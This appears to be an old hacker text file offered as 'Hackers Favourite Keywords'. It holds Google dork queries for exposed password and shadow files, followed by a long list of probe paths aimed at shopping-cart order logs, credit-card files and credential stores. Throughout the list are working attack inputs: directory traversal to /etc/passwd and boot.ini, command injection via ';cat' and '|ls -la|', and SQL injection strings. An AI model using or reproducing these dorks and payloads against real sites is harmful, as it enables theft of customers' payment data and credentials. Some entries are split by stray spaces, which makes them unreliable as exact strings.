intitle:"Index of people.1st 

intitle:"Index of pwd.db 

intitle:"Index of etc/shadow 

intitle:"Index of spwd 

intitle:"Index of master.passwd 

intitle:"Index of htpasswd 

intitle:"Index of members OR accounts 

intitle:"Index of user_carts OR user _cart 

-------------------------------------------------------------------------------- 

-==[Hackers Favourite Keywords in google.]

"Index of /admin" 

"Index of /password" 

"Index of /mail" 

"Index of /" +passwd 

"Index of /" +password.txt 

"Index of /" +.htaccess 

index of ftp +.mdb allinurl:/cgi-bin/ +mailto 

administrators.pwd.index 

authors.pwd.index 

service.pwd.index 

filetype:config web 

gobal.asax index 

allintitle: "index of/admin" 

allintitle: "index of/root" 

allintitle: sensitive filetype:doc 

allintitle: restricted filetype :mail 

allintitle: restricted filetype:doc site:gov 

inurlasswd filetype:txt 

inurl:admin filetype:db 

inurl:iisadmin 

inurl:"auth_user_file.txt" 

inurl:"wwwroot/*." 

top secret site:mil 

confidential site:mil 

allinurl: winnt/system32/ (get cmd.exe) 

allinurl:/bash_history 

intitle:"Index of" .sh_history 

intitle:"Index of" .bash_history 

intitle:"index of" passwd 

intitle:"index of" people.lst 

intitle:"index of" pwd.db 

intitle:"index of" etc/shadow 

intitle:"index of" spwd 

intitle:"index of" master.passwd 

intitle:"index of" htpasswd 

intitle:"index of" members OR accounts 

intitle:"index of" user_carts OR user_cart 

ALTERNATIVE INPUTS==================== 

_vti_inf.html 

service.pwd 

users.pwd 

authors.pwd 

administrators.pwd 

shtml.dll 

shtml.exe 

fpcount.exe 

default.asp 

showcode.asp 

sendmail.cfm 

getFile.cfm 

imagemap.exe 

test.bat 

msadcs.dll 

htimage.exe 

counter.exe 

browser.inc 

hello.bat 

default.asp\ 

dvwssr.dll 

cart32.exe 

add.exe 

index.jsp 

SessionServlet 

shtml.dll 

index.cfm 

page.cfm 

shtml.exe 

web_store.cgi 

shop.cgi 

upload.asp 

default.asp 

pbserver.dll 

phf 

test-cgi 

finger 

Count.cgi 

jj 

php.cgi 

php 

nph-test-cgi 

handler 

webdist.cgi 

webgais 

websendmail 

faxsurvey 

htmlscript 

perl.exe 

wwwboard.pl 

www-sql 

view-source 

campas 

aglimpse 

glimpse 

man.sh 

AT-admin.cgi 

AT-generate.cgi 

filemail.pl 

maillist.pl 

info2www 

files.pl 

bnbform.cgi 

survey.cgi 

classifieds.cgi 

wrap 

cgiwrap 

edit.pl 

perl 

names.nsf 

webgais 

dumpenv.pl 

test.cgi 

submit.cgi 

guestbook.cgi 

guestbook.pl 

cachemgr.cgi 

responder.cgi 

perlshop.cgi 

query 

w3-msql 

plusmail 

htsearch 

infosrch.cgi 

publisher 

ultraboard.cgi 

db.cgi 

formmail.cgi 

allmanage.pl 

ssi 

adpassword.txt 

redirect.cgi 

cvsweb.cgi 

login.jsp 

dbconnect.inc 

admin 

htgrep 

wais.pl 

amadmin.pl 

subscribe.pl 

news.cgi 

auctionweaver.pl 

.htpasswd 

acid_main.php 

access.log 

log.htm 

log.html 

log.txt 

logfile 

logfile.htm 

logfile.html 

logfile.txt 

logger.html 

stat.htm 

stats.htm 

stats.html 

stats.txt 

webaccess.htm 

wwwstats.html 

source.asp 

perl 

mailto.cgi 

YaBB.pl 

mailform.pl 

cached_feed.cgi 

global.cgi 

Search.pl 

build.cgi 

common.php 

show 

global.inc 

ad.cgi 

WSFTP.LOG 

index.html~ 

index.php~ 

index.html.bak 

index.php.bak 

print.cgi 

register.cgi 

webdriver 

bbs_forum.cgi 

mysql.class 

sendmail.inc 

CrazyWWWBoard.cgi 

search.pl 

way-board.cgi 

webpage.cgi 

pwd.dat 

adcycle 

post-query 

help.cgi 

/robots.txt 

/admin.mdb 

/shopping.mdb 

/arg; 

/stats/styles.css 

/statshelp.htm 

/favicon.ico 

/stats/admin.mdb 

/shopdbtest.asp 

/cgi-bin/test.cgi 

/cgi-bin/test.pl 

/cgi-bin/env.cgi 

/photos/protest/styles.css 

http://hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi 

/cgi-bin/whereami.cgi 

/shopping400.mdb 

/cgi/test.cgi 

/cgi-bin/test2.pl 

/photos/protest/kingmarch_02.html 

/chevy/index.htm 

/cgi-bin/glocation.cgi 

/cgi-bin/test2.cgi 

/ccbill/glocation.cgi 

/cgi-bin/styles.css 

/shopping350.mdb 

/cgi-bin/shopper.cgi 

/shopadmin.asp 

/news_2003-02-27.htm 

/cgi-bin/whois.cgi 

3 /cgi-bin/calendar.pl 

3 /cgi-bin/calendar/calendar.pl 

3 /cgibin/styles.css 

3 /venem.htm 

2 /stats/www.newbauersflowers.com/stats/04-refers.htm 

2 /cgi-bin/where.pl 

2 /cgibin/shopper.cgi&TEMPLATE=ORDER.LOG 

2 /cgibin/recon.cgi 

2 /cgibin/test.cgi 

2 /WebShop/templates/styles.css 

2 /stats/shopping350.mdb 

2 /cgi-bin/mailform.cgi 

2 /cgi-bin/recon.cgi 

2 /chevy 

2 /cgi-bin/servinfo.cgi 

2 /acart2_0.mdb 

2 /cgi-bin/where.cgi 

2 /chevy/ 

2 /stats/www.savethemall.net/stats/19-refers.htm 

2 /ccbill/secure/ccbill.log 

2 /cgi/recon.cgi 

2 /stats/www.gregoryflynn.com/chevy 

2 /ibill/glocation.cgi 

2 /ccbill/whereami.cgi 

2 /ibill/whereami.cgi 

2 /apps_trial.htm 

2 /cgi-bin/lancelot/recon.cgi 

2 /cgi-bin/DCShop/Orders/styles.css 

1 /cgi-bin/htmanage.cgi 

1 /stats/www.tysons.net/stats/05-refers.htm 

1 /cgi-bin/mastergate/add.cgi 

1 /cgi-bin/openjournal.cgi 

1 /cgi-bin/calendar/calendar_admin.pl 

1 /cgibin/ibill/count.cgi 

1 /cgi-bin/nbmember2.cgi 

1 /cgi-bin/mastergate/count.cgi 

1 /cgi-bin/mastergate/accountcreate.cgi 

1 /cgi-bin/ibill/accountcreate.cgi 

1 /cgibin/MasterGate2/count.cgi 

1 /cgi-bin/amadmin.pl 

1 /cgibin/mailform.cgi 

1 /cgibin/mastergate/count.cgi 

1 /cgibin/harvestor.cgi 

1 /cgibin/igate/count.cgi 

1 /WebShop 

1 /shopdisplaycategories.asp 

1 /cgi-bin/DCShop/Orders/orders.txt 

1 /cgi-bill/revshare/joinpage.cgi 

1 /stats/www.gregoryflynn.com/stats/19-refers.htm 

1 /cgi-local/DCShop/auth_data/styles.css 

1 /cgi-bin/add-passwd.cgi 

1 /cgi-bin/MasterGate/count.cgi 

1 /apps_shop.htm%20/comersus/database/comersus.mdb 

1 /data/verotellog.txt 

1 /epwd/ws_ftp.log 

1 /stats/www.dialacure.com/stats/16-refers.htm 

1 /cgi/MasterGate2/count.cgi 

1 /jump/rsn.tmus/skybox;sz=140x150;segment=all;resor=jackson;state= WY;sect=home;tile=8;ord=57019 

1 /wwii/styles.css 

1 /cgi-bin/admin.mdb 

1 /stats/www.gregoryflynn.com/stats/31-refers.htm 

1 /cgi-bin/ibill-tools/count.cgi 

1 /WebShop/templates/cc.txt 

1 /cgibin/ibill/accountcreate.cgi 

1 /cgi-bin/count.cgi 

1 /cgi-local/DCShop/auth_data/auth_user_file.txt 

1 /cgi/mastergate/count.cgi 

1 /cgi-bin/EuroDebit/addusr.pl 

1 /cgi-bin/dbm-passwd.cgi 

1 /cgi/igate/accountcreate.cgi 

1 /cgi-bin/store/Log_files/your_order.log 

store/log_files/your_order.log 

/cg i-bin/DCShop/Orders/orders.txt 

/vpasp/shopdbtest.asp 

/orders/checks.txt 

/WebShop/logs 

/ccbill/secure/ccbill.log 

/scripts/cart32.exe 

/ cvv2.txt 

/cart/shopdbtest.asp 

/cgi-win/cart.pl 

/shopdbtest.asp 

/WebShop/logs/cc.txt 

/cgi-local/cart.pl 

/PDG_Cart/order.log 

/config/---.mdb 

/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.log%00html 

/or ders/orders.txt 

/cgis/cart.pl 

/webcart/carts 

/cgi-bin/cart32.exe/cart32clientlist 

/cgi/cart.pl 

/comersus/database/comersus.mdb 

/WebShop/temp lates/cc.txt 

/Admin_files/order.log 

/orders/mountain.cfg 

/cgi-sys/cart.pl 

/scripts/cart.pl 

/htbin/cart.pl 

/productcart/database/EIPC.mdb 

/shoponline/fpdb/shop.mdb 

/config/datasources/myorder.mdb 

/PDG_Cart/shopper.conf 

/shopping/database/metacart.mdb 

/bin/cart.pl 

/cgi-bin/cart32.ini 

/database/comersus.mdb 

/cgi-local/medstore/loadpage.cgi?user_id= id&file=data/orders.txt 

/cgi-bin/store/Admin_files/myorderlog.txt 

/cgi-bin/orders.txt 

/cgi-bin/store/Admin_files/your_order.log 

/test/test.txt 

/fpdb/shop.mdb 

/cgibin/shop/orders/orders.txt 

/shopadmin1.asp 

/cgi-bin/shop.cgi 

/cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi 

/cgi-bin/PDG_cart/card.txt 

/shopper.cgi?preadd=action&key=PROFA&template=order1.log 

/store/shopdbtest.asp 

/log_files/yo ur_order.log 

/_database/expire.mdb 

/HyperStat/stat_what.log 

/cgi bin/DCShop/auth_data/auth_user_file.txt 

/htbin/orders/orders.txt 

/SHOP/shopadmin.asp 

/index.cgi?page=../admin/files/order.log 

/vpshop/shopadmin.asp 

/webcart/config 

/PDG/order.txt 

/cgi-bin/shopper.cgi 

/orders/order.log 

/orders/db/zzzbizorders.log.html 

/easylog/easylog.html 

/cgi-bin/store/Log_files/your_order.log 

/cgi-bin /%20shopper.cgi?preadd=action&key=PROFA&template=shopping400.mdb 

/comersus_message.asp? 

/orders/import.txt 

/htbin/DCShop/auth_data/auth_user_file.txt 

/admin /html_lib.pl 

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.txt 

/cgi-bin/DCShop/auth_data/auth_user_file.txt 

/cgi-bin /shop.pl/page=;cat%20shop.pl 

/cgi-bin/shopper?search=action&keywords=dhenzuser%20&template=order.log 

/HBill/htpasswd 

/bin/shop/auth_data/auth_user_file.txt 

/cgi-bin /cs/shopdbtest.asp 

/mysql/shopping.mdb 

/Catalog/config/datasources/Products.mdb 

/trafficlog 

/cgi/orders/orders.txt 

/cgi-local/PDG_Cart/shopper.conf 

/store/cgi-bin/---.mdb 

/derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=order.log 

/derbyteccgi/shopper.cgi?search=action&keywords=moron&template=order.log 

/cgi-bin/mc.txt 

/cgi-bin/mall2000.cgi 

/cgi-win /DCShop/auth_data/auth_user_file.txt 

/cgi-bin/shopper.cgi?search=action&keywords=root%20&template=order.log 

/store/commerce.cgi 

/scripts/ shop/orders/orders.txt 

/product/shopping350.mdb 

/super_stats/access_logs 

/cgi-local/orders/orders.txt 

/ cgi-bin/PDG_Cart/mc.txt 

/cgibin/cart32.exe 

/cgi-bin/Shopper.exe?search=action&keywords=psiber%20&template=other/risinglogorder.log 

/cgibin/password.txt 

/Catalog/cart/carttrial.dat 

/catalog/Admin /Admin.asp 

/ecommerce/admin/user/admin.asp 

/data/productcart/database/EIPC.mdb 

/store/admin_files/commerce_user_lib.pl 

/cgi-bin/store/index.cgi 

/paynet.txt 

/config/datasources/store/billing.mdb 

/_database/shopping350.mdb 

/cgi-bin/shopper.exe?search 

/cgi/shop.pl/page=;cat%20shop.pl 

/cgi-bin /store/Admin_files/orders.txt 

/cgi-bin/store/commerce_user_lib.pl 

/cgi-sys/pagelog.cgi 

/cgi-sys/shop.pl/ page=;cat%20shop.pl 

/scripts/weblog 

/fpdb/shopping400.mdb 

/htbin/shop/orders/orders.txt 

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.log 

/cgi-bin/shopper.exe?search=action&keywords=psiber&template=order.log 

/mall_log_files/ 

/cgi-bin/perlshop.cgi 

/tienda/shopdbtest.asp 

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping.mdb 

/cgi-bin/shopper.cgi?search=action&keywords=whinhall&template=order.log 

/WebShop/logs/ck.log 

/fpdb/shopping300.mdb 

/mysql/store.mdb 

/cgi-bin/store/Admin_files/commerce_user_lib.pl 

/config.dat 

/order/order.log 

/commerce_user_lib.pl 

/Admin_files/AuthorizeNet_user_lib.pl 

/cvv2.asp 

/cgi-bin/cart32/CART32-order.txt 

/wwwlog 

/cool-logs/mlog.html 

/cgi-bin /pass/merchant.cgi.log 

/cgi-local/pagelog.cgi 

/cgi-bin/pagelog.cgi 

/cgi-bin/orders/cc.txt 

/cgis/shop/orders/orders.txt 

/admin /admin_conf.pl 

/cgi-bin/pdg_cart/order.log 

/cgi/PDG_Cart/order.log 

/Admin_files/ccelog.txt 

/cgi-bin/orders/mc.txt 

/cgi/cart32.exe 

/ecommerce/admin /admin.asp 

/scripts/DCShop/auth_data/auth_user_file.txt 

/Catalog/config/---.mdb 

/ecommerce/admin/shopdbtest.asp 

/mysql/mystore.mdb 

/cgi-bin /%20shopper.cgi?preadd=action&key=PROFA&template=shopping.asp 

/cgi-bin/commercesql/index.cgi?page=../admin/files/order.log 

/cgi-bin/Count.cgi?df=callcard.dat 

/logfiles/ 

/shopping/shopping350.mdb 

/admin/configuration.pl 

/cgis/DCShop/auth_data/auth_user_file.txt 

/cgis/cart32.exe 

/ cgi-bin/dcshop.cgi 

/cgi-win/shop/auth_data/auth_user_file.txt 

/shopping400.mdb 

/HBill/config 

/cgi-bin/shop/index.cgi?page=../admin/files/order.log 

/search=action&keywords=GSD%20&template=order.log 

/WebCart/orders.txt 

/PDG_Cart/ authorizenets.txt 

/cgi-bin/AnyForm2 

/~gcw/cgi-bin/Count.cgi?df=callcard.dat 

/cgi-bin/PDG_Cart/order.log 

/expire.mdb 

/logger/ 

/webcart-lite/orders/im port.txt 

/cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl 

/cgi-bin/PDG_Cart/shopper.conf 

/cgi-bin/cart32.exe 

/dc/orders/orders.txt 

/cgi-local/DCShop/orders/orders. txt 

/shop.pl/page=shop.cfg 

/cgi-local/cart32.exe 

/cgi-win/pagelog.cgi 

/cgi-win /shop/orders/orders.txt 

/cgibin/shopper.cgi?search=action&keywords=moron&template=order.csv 

/cgi-sys/DCShop/auth_data/auth_user_file.txt 

/ cgi-bin/www-sql;;; 

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order.log 

/scripts/orders/orders.txt 

/cgi-loca l/shop.pl/shop.cfg 

/search=action&keywords=cwtb%20&template=expire.mdb 

/php/mylog.phtml 

/config/datasources/shopping.mdb 

/php-coolfile/action.php?action=edit&file=config.php 

/cgi-bin/ezmall2000/mall2000.cgi 

/cgi/DCShop/orders/orders.txt 

/cgi-local/ shop.pl 

/cgis/DCShop/orders/orders.txt 

/product/shopdbtest.asp 

/ ASP/cart/database/metacart.mdb 

/cgi-bin/cgi-lib.pl 

/cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html 

/search=action&keywords=cwtb%20&template=order.log 

/mysql/expire.mdb 

/scripts/sh op/auth_data/auth_user_file.txt 

/cgi-bin/cart32/whatever-OUTPUT.txt 

/Shopping%20Cart/shopdbtest.asp 

/cgi/shop/auth_data/auth_user_file.txt 

/sh op/shopping350.mdb 

/cgi-bin/store/Authorize_Net.pl 

/scripts/DCShop/orders/orders.txt 

/store/l og_files/commerce_user_lib.pl 

/shopping/shopadmin.asp 

/cgi-bin/orderlog.txt 

/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20../../webcart/system/orders/orders.txt|&CO DE=PHOLD;;; 

/cool-logs/mylog.html 

/cgibin/shop.pl/page=;cat%20shop.pl 

/htbin /shop.pl/page=;cat%20shop.pl 

/cgi-win/orders/orders.txt 

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order1.txt 

/SHOP/shopdbtest.asp 

/cgi/pagelog.c gi 

/php/mlog.phtml 

/cgi-bin/shop/apdproducts.mdb 

/htbin/shop/auth_data/auth_user_file.txt 

/server%20logfile;;; 

/database/ metacart.mdb 

/cgi-local/shop/orders/orders.txt 

/dcshop/auth_data/auth_user_file.txt 

/log/ 

/cgi-bin/shop.cgi/page=../../../../etc/hosts 

/scripts/c32web.exe 

/cgis/ord ers/orders.txt 

/logfile/ 

/shop_db/shopping.mdb 

/shopping.mdb 

/weblog/ 

/config/datasources/cvv2.mdb 

/cgi-bin/loadpage.cgi?user_id=id&file=data/db.txtcgi-bin /PDG_Cart/order.log 

/cgi-sys/shop/orders/orders.txt 

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order1.log 

/cgi-win/cart32.exe 

/cgi-bin/loadpage.cgi 

/dcshop/orders/orders.txt 

/shop/show.php?q=' 

/cgib in/orders/orders.txt 

/bin/pagelog.cgi 

/cgi-bin/shop/orders/orders.txt 

/_database/shopdbtest.asp 

/cgibin /pagelog.cgi 

/cgi-local/shop.pl/page=;cat%20shop.pl 

/shop/search .php?q=' 

/cgi-sys/cart32.exe 

/order13.txt 

/weblogs/ 

/orderb/sh op.mdb 

/config/datasources/order.mdb 

/store/cgi-bin/Admin_files/Store_user_lib.pl 

/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt;CC 

/Orders /order.log 

/logs/access_log 

/config/datasources/your_order.mdb 

/ecommerce/admin/admin/admin.asp 

/mall_log_files/order.log 

/bin/cart32.exe 

/htbin/DCShop/orders/orders.txt 

/Admin_files/Authorize_Net.pl 

/logging/ 

/database/ 

/cgi-sys/shop/auth_data/auth_user_file.txt 

/bin/shop.pl/page=;cat%20shop.pl 

/cgi-local/shop/auth_data/auth_user_fil e.txt 

/cgi-local/DCShop/auth_data/auth_user_file.txt 

/cgi-bin/shop/auth_data/auth_user_file.txt 

/cgi-win /DCShop/orders/orders.txt 

/store/Admin_files/Authorize_Net.pl 

/cart/cart.asp 

/bin/DCShop/orders/orders.txt 

/scripts/pagelog.cgi 

/cgi-bin /%20shopper.cgi?preadd=action&key=PROFA&template=expire.mdb 

/webcart/config/clients.txt 

/dc/auth_data/auth_user_file.txt 

/cgi-bin/shopper.exe?preadd=action&key=9461&template=order.log 

/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt 

/bin /orders/orders.txt 

/cgi-bin/Web_Store/web_store.cgi 

/cgis/pagelog.cgi 

/cgi-bin /orders/orders.txt 

/merchant/shopdbtest.asp 

/cgi-local/shop.pl/page=shop.cfg 

/cgis/shop.pl/pa ge=;cat%20shop.pl 

/index.cgi?%20pagine%20=%20../../../../../../../../etc/passwd 

/cg-bin/ 

/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG 

/cgi-bin /DCShop/Auth_data/auth_user_file.txt 

/ecommerce/admin/adminLeft/admin.asp 

/webcart/orders/import.txt 

/cgibin/shop/auth_data/auth_user_file.txt 

/productcart/database/eipc.mdb 

/mysql/cheersoundchdb.mdb 

/cgi-bin/order.txt 

/scripts/iisadmin/tools/mkilog.exe 

/ProductCart/database/EIPC.mdb 

/databases/ 

/cg i-sys/orders/orders.txt 

/cgi/DCShop/auth_data/auth_user_file.txt 

/ database/EIPC.mdb 

//cgi-bin/orders.txt 

/vpasp-shopcart/shopdbtest.asp 

/cgi-bin /shopper.exe?preadd=action&key=bajk390ss&template=order.log 

/cgi-bin/DCShop/orders/orders.txt 

/mysql/shopping350.mdb 

/_database/shopping.mdb 

/htbin/cart32.exe 

/PDG_Cart/shopper.config 

/cgis/shop/auth_data/auth_user_file.txt 

/shop/SHOPDBTEST.ASP 

/bin/shop/orders/orders.txt 

//cgi-local/medstore/loadpage.cgi?user_id=id &file=data/orders.txt 

/cgi-bin/store/dcshop_admin.cgi 

/_database/shopping400.mdb 

/scripts/shop.pl/page=;cat%20shop.pl 

/cgibin/PDG_Cart/shopper.conf 

/cgibin/DCShop/orders/orders.txt 

/cgibin/%20awstats.pl?output=keywords 

/cgi/shop/orders/orders.txt 

/cgi-bin /cart32_old.exe 

/webshop/templates/cc.txt 

/webcart/orders 

/pro ductcart/database/shop.mdb 

/index.php?link=order 

/cgi-bin/store/index.cgi?page=../../../../../../../../etc/passwd 

/shopping/shopdisplayproducts.asp? 

/ccbill-local.cgi 

/bin/DCShop/auth_data/auth_user_file.txt 

/cgi-bin /c32web.exe/CheckError?error=53 

/server/admin_files/commerce_user_lib.pl 

/shopping/shopdisplayproducts.asp?id=1&cat=order.log 

/mail.cgi 

/cgibin/admin_files/ 

/cgi-bin/mail/form.cgi 

/cgibin/shopping/database/metacart.mdb 

/globill/ver12otellog.txt 

/cgi-bin/shopping.mdb 

/shopping%20.mdb 

/cgi-bin/mail.cgi 

/cgi-bin/FORM.cgi 

/cgibin/shop/database/metacart.mdb 

/mail/form.cgi 

/cgibin /shop/shopping350.mdb 

/form.cgi 

/shopping/cgi-bin/cart32.ini 

/index.cgi?page=../../../../../../../../etc/passwd 

/cgi-bin/c32web.exe/ShowProgress 

/vpasp/shopdisplayproducts.asp?cat=qwerty'% 20union%20select%20fldauto 

/cgibin/orders.txt 

/cgibin/scripts/shop/shopping350.mdb 

/form/mail.cgi 

/cgi-bin/store1b/index.cgi?page=../../../../../../../../etc/passwd 

/webshop/logs/cc.txt 

/form/form.cgi 

/store/index.cgi?page=../../../../../../../../etc/passwd 

/cgibin/awstats.pl%3Flang%3Dit%26output%3Durldetail 

/cgibin/%20awstats.pl? 

/cgi-bin/Form.cgi 

/vpasp/shopdisplayproducts.asp?cat=admin'%20and%20fldpassword%0li%20ke%20'a%25 

/admin.mdb 

/cgi-bin/cart32.exe/error 

/cgi/mail.cgi 

/cgi-bin/c32web.exe/ShowAdminDir 

/cgi-bin/csql/index.cgi?page=../admin/files/order.log 

/cgi-bin/admin_files/ 

/cgi-bin/csql/index.cgi?page=../../../../../../../../etc/passwd 

/admins.asp 

/cgi-bin/cart_top 

/cgi-bin/mail/mail.cgi 

/shopadmin.asp 

/cgi-bin/order.log 

/mailform.pl 

/cgibin/admin.pl 

/vpasp/shopdisplayproducts.asp? 

/policies1.htm 

/cgi-bin/c32web_old.exe 

/cgi-bin /c32web.exe 

/cgi-bin/form/form.cgi 

/cgibin/metacart.mdb 

/shopdisplayproducts.asp 

/cgi-sys/DCShop/orders/orde rs.txt 

/ccbill6/secure/ 

/MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=3124 &STRMVER=4&CAPREQ=0 

/cgi-bin/ibill.log 

/ccbill6/ 

/password.txt 

/cgi-bin /PDG_cart/card 

/cgibin/www.google.com 

/honeymoonhideaway.htm+honeymoon+charleston 

/cgibin/awstats.pl%3Flang%3Dnl 

/cgibin/admin.pl?setpasswd 

/cgibin/awstats.pl%3Fyear%3D2003%26month%3D07 

/cgibin/awstats.pl%3Fyear%3D2003%26month%3D08 

/cgibin/awstats.pl%3Fyear%3D2003%26month%3D09 

/cgibin/%20awstats.pl?output=keywords 

/shop/shopping450.mdb 

/ccbill6/secure/ccbill.log 

/cgibin/awstats.pl%3Flang%3Des%26update%3D1 

/cgibin/shopper.cgi?search=action&keywords=ccpower%20&template=shopper.conf 

/cgi-bin/form.cgi 

/M83A 

/cgibin/awstats.pl%3Fyear%3D2003%26month%3D11 

/cgibin/amadmin.pl?setpasswd 

/cgi-bin/awstats.pl%3Flang%3Dit 

/orderdb/database/eipc.mdb 

/cg-bin//eshop/database/order.mdb 

/store/database/comersus.mdb 

/cgibin /password.mdb 

/~admin/guestbook 

/cgibin/%20awstats.pl?%20cgibin/%20awstats.pl?output=keywords 

/cgibin /awstats.pl%3Foutput%3Durldetail%26lang%3Dnl 

/cgibin/%20awstats.pl?output=keywords 

/sumthin 

/cgibin/cgibin/%20awstats.pl?output=keywords 

/cgi-bin/shopper.cgi?search=action&keywords=ccpower&template=shopper.conf 

/cgibin/productcart/database/eipc.mdb 

/cgibin/awstats.pl%3Flang%3Den%26output%3Durldetail 

/cgibin/awstats.pl%3Foutput%3Dkeyphrases%26lang%3Dit 

/cgibin/awstats.pl%3Foutput%3Durldetail%26lang%3Dde 

/mail/mail.cgi 

/cgibin/shopper.cgi?search=action&keywords=ccpower&template=shopper.conf 

/cgibin/awstats.pl%3Foutput%3Dkeywords%26lang%3Dnl 

/cg/.%20/comersus/database/comersus.mdb 

/index%20of%20/%20productcart/database/eipc.mdb 

/scripts/nsiislog.dll 

/cgibin/order.cgi 

/_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614&STRMVER=4&CAPREQ=0 

/cgi-bin /awstats.pl%3Flang%3Dde 

/_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=3124&STRMVER=4&CAPREQ=0 

/cgibinserver/admin_files/commerce_user_lib.pl 

/cgibin/store/Admin_files/myorderlog.txt 

//cgibin/orders.txt 

/cgibin/database/shopping.mdb 

/cgibin/shopping/shopadmin.asp 

/cgi-bin/shopper.cgi?preadd=action&key=PROFA&template=order1.log 

/cgibin/shopper.exe?search=action&keywords=psiber&template=order.log 

/cgibin/allmanageup.pl 

/cgi-win/shop.pl/page=;cat%20shop.pl 

/eshop/database/log.mdb 

/cgibin /awsta 

/cgibin/nph-........pl 

/cgibin/awstats.pl%3Flang%3Dnl%26update%3D1 

//config/---.mdb 

/cgibin/awstats.pl%3Foutput%3Dkeywords%26lang%3Den 

/cgibin/awstats.pl%3Foutput%3Dkeywords%26lang%3Des 

/cgibin/ccbill/password/.htpasswd 

/cgi-bin/awstats.pl%3Fyear%3D2003%26month%3D08 

/cgibin/awstats.pl%3Flang%3Dde%26output%3Dkeyphrases 

/eshop/en/database/credit.mdb 

/cgi-bin /pdg_cart/shopper.conf 

/password.mdb 

/data/verotellog.txt 

/cgibin/awstats.pl%3Foutput%3Durldetail%26update%3D1 

/productcart/eipc.mdb 

/cgi-bin/awstats.pl%3Fyear%3D2003%26month%3D11 

/cgibin/awstats.pl%3Foutput%3Durldetail%26lang%3Dit 

/index%20of%20/webshop/templates/cc.txt 

/cartdb/database/eipc.mdb 

/cg i-bin/eshop/database/order.mdb 

/cgibin//fpdb/shopping400.mdb 

/cgibin/order.txt 

/cgi-bin/cart32.exe/expdate%20algunas%20veces 

/cgibin/awstats.pl%3Flang%3Dde%26output%3Dkeywords 

/cgibin/database/comersus.mdb 

/cgi-bin/awstats.pl%3Flang%3Des 

/cgibin/awstats.pl%3Foutput%3Dkeywords%26lang%3Dfr 

/globill/ 

/cgibin/fpdb/shopping400.mdb 

/cgibin/perl.exe 

/eshop/en/database/log.mdb 

/cgibin/shopper.exe?search=action&keywords=psiber&template=orders.log 

/cg/comersus/database/comersus. mdb 

/cgi-bin/awstats.pl%3Fyear%3D2003%26month%3D07 

/cgibin/awstats.pl%3Flang%3Dnl%26output%3Durldetail 

/cgibin/admin.mdb 

/cgi-bin/whereami.cgi?g=ls 

/cgibin/xxxhu 

cgibin/cartserver/admin_files/commerce_user_lib.pl 

/cgibin/%20awstats.pl?output=keywords 

/cgibin /awstats.pl%3Foutput%3Dkeyphrases%26lang%3Dfr 

/robot.txt 

/cgi-bin/form/mail.cgi 

/ibill/mypins/ 

/cgi-bin/awstats.pl%3Flang%3Dnl 

/cgibin/allmanage_admin.pl 

/cgibin/%20awstats.pl?cgibin/%20awstats.pl?output=keywords 

/cg-ibin /admin_files/ 

/cgibin/cart/comersus.mdb 

/cg-bin/eshop/database/order.mdb 

/cgibin /htt 

/cgibin/phf 

/cgibin/awstats.pl%3Foutput%3Durldetail%26lang%3Den 

/database/eipc.mdb 

/MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614&STR MVER=4&CAPREQ=0 

/script/shop/shopping350.mdb 

/cgibin/shopping350.mdb 

/cg-bin/eshop/en/database/credit.mdb 

/cgibin/awstats.pl%3Foutput%3Dkeyphrases%26lang%3Den 

/cgi-bin/add-passwd.cgi 

/logs/200306/charleston.com/ 

/random_banner/index.cgi?image_list=alternative_image.list&html_file=|ls%20-la| 

/cgibin/store/log_files/your_order.log 

/cgibin /shopper.exe?search=action&keywords=psiber&template=neworder.log 

/cgi-bin/awstats.pl%3Fyear%3D2003%26month%3D09 

/cgibin/awstats.pl%3Flang%3Dfr%26update%3D1 

/cgibin/awstats.pl%3Foutput%3Dkeywords%26update%3D1 

/cgibin /awstats.pl%3Foutput%3Dkeyphrases%26lang%3Dnl 

/cgibin/awstats.pl%3Flang%3Dde%26output%3Durldetail 

/cgibin/mailform.pl 

/cgibin/awstats.pl%3Flang%3Des%26output%3Dkeywords 

/cgi-bin/shop/shopping350.mdb 

/cgibin/cart/database/comersus.mdb 

/dbase/date. 

/www.gambling-01.co.uk/cgibin/password.txt 

/cgibin/awstats.pl%3Flang%3Des 

/ccbill/ccbill.log 

/cgibin/awstats.pl%3Flang%3Dnl%26output%3Dkeywords 

/cgibin/awstats.pl%3Foutput%3Dkeyphrases%26lang%3Dde 

/productcart/pc/Custvb.asp?redirectUrl=&Email=%27+having+1%3D1--&_email=email&password=asd&_password=required&Submit.x=33&Sub mit.y=5&Submit=Submit 

/cgibin/index%20of 

/cgi-bin/form1.cgi 

/cc.txt 

/cgibin/awstats.pl%3Flang%3Den%26update%3D1 

/cg/./comersus/database/comersus.mdb 

/cgi-bin/awstats.pl%3Foutput%3Dkeyphrases 

/cgibin /webshop/templates/cc.txt 

/....../ all 

/....../config.sys 

/....../etc/hosts 

/../../../../ all 

/../../../../../../../boot.ini 

/../../../../../winnt/repair/sam._ 

/../../../../config.sys 

/../../../../etc/hosts 

/.access 

/.bash_history 

/.htacc ess 

/.html/............./config.sys 

/.htpasswd 

/.passwd 

/ASPSamp/AdvWorks/equipment/catalog_type.asp 

/Admin_files/order.log 

/AdvWorks/equipment/catalog_type.asp 

/Orders/order.log 

/PDG_Cart/order.log 

/PDG_Ca rt/shopper.conf 

/PSUser/PSCOErrPage.htm 

/WebShop/logs/cc.txt 

/WebShop/logs/ck. log 

/WebShop/templates/cc.txt 

/_private 

